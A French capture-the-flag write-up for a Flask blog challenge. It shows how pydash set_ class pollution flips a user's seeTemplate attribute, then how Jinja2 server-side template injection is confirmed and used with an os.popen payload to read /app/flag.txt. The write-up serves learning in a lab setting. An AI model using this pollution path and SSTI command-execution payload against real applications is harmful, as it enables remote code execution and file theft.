Catégorie Web
Difficulté Medium
Auteur JeanJeanLeHaxor#4628

Introduction

Objective: Read the flag, situated on the server in /app/flag.txt

Code Source

L’application est un blog permettant aux utilisateurs de visionner et de créer des articles.

Le code source est donnée sur ce challenge

.
├── app.py
├── articles.py
├── config.yaml
├── docker-compose.yml
├── Dockerfile
├── input.css
├── package.json
├── package-lock.json
├── requirements.txt
├── static
│   └── style.css
├── tailwind.config.js
├── templates
│   ├── article.html
│   ├── articles.html
│   ├── banner.html
│   ├── head.html
│   ├── home.html
│   ├── login.html
│   └── register.html
└── users.py

3 directories, 22 files

Class Polution

Dans le fichiers users.py , on peut voir qu’un utilisateur possède 3 valeurs :

def __init__(self):
        self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

C’est la dernière variable seeTemplate qui nous intéresse car elle nous permet d’appeler le moteur de template Jinja2 lors de la lecture d’un article sur le blog. Pour tout autre utilisateur que admin, cet attributt est mis à False .

L’accès au template pourrait nous permettre d’effectuer une SSTI (Server Side Template Injection) afin d’executer des commandes ou de lire des fichiers.

En regardant les dépendances de l’application, on peut trouver pydash, librairie permettant de manipuler des données avec différentes fonctions.

Après quelques recherches, je tombe sur l’article suivant. Suite à une dizaine de lectures, je comprends qu’il est possible de “polluer” certains objets pythons à l’aide la fonction _set de pydash

Cette fonction prend 3 champs en paramètres :

  • obj : l’objet qui contient l’attribut
  • path : le chemin de l’attribut
  • value : la nouvelle valeur de l’attribut

Voici un exemple avec l’interpréteur python, qui permet de modifier l’attribut d’un object :

$ python3        
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pydash
>>> users = { 'sessions' : { 'francis' : True, 'monkey' : False } }
>>> pydash.set_(users,'sessions.monkey', True)
{'sessions': {'francis': True, 'monkey': True}}

Cette fonction de pydash est appelé dans le fichier article.py :

def set(self, article_name, article_content):
        pydash.set_(self, article_name, article_content)        
        return True

Nous allons donc modifier la valeur de l’attribut seeTemplate du user que nous venons de créer. Il nous reste donc à trouver le chemin pour accéder à l’attribut et le modifier.

Afin de débugger et de trouver le chemin, j’ai modifié la fonction set pour afficher notre chemin petit à petit et voir les différents objets auxquels je peux accéder

def set(self, article_name, article_content): 
	pprint(self)
  pydash.set_(self, article_name, article_content)        
  return True

Après des recherches et de l’aide de ce Write-Up, j’ai un payload qui me permet d’accéder aux objets de l’application : self.__init__.__globals__['__loader__'].__init__.__globals__['sys'].modules['__main__']

Il est ensuite possible d’accéder à la classe users , qui possède un tableau d’utilisateur. Je retrouve mon utilisateur Francis en y accédant comme ceci : users['Francis'] . On peut ensuite accéder à l’attribut seeTemplate

Notre payload est prêt, mais il est nécessaire de convertir notre payload en chemin, puisque c’est le paramètre de la fonction set

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.users.Francis.seeTemplate

Nous pouvons maintenant modifier l’attribut seeTemplate de notre utilisateur :

Hello Friend

Pour vérifier si la valeur de l’attribut a bien été modifié, il est possible de voir sa valeur dans le cookie de sessions Flask :

$ echo 'eyJ1c2VyIjp7InNlZVRlbXBsYXRlIjoiVHJ1ZSIsInVzZXJuYW1lIjoiRnJhbmNpcyJ9fQ.ZFqXIA.x88U500vDj0i01KKnMUZaBGLHuM' | base64 -d
{"user":{"seeTemplate":"True","username":"Francis"}}...

Nous pouvons maintenant voir les template ssur les articles

SSTI

Pour vérifier si une SSTI est possible, je vais mettre un payload de test comme contenu de l’article : {{7*7}}

Hello Friend

Le template est bien interprété, nous pouvons donc effectuer une SSTI. Pour le payload, je vais utiliser le repo git de PayloadsAllTheThings pour voir les différents payloads utilisables. Comme je n’arrive pas à lire un fichier , je vais utilisé un payload avec exécution de commande :

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read() }}

En retournant sur l’article, je tombe sur le résultat de la commande qui est donc le flag 🙂

Hello Friend

Ressources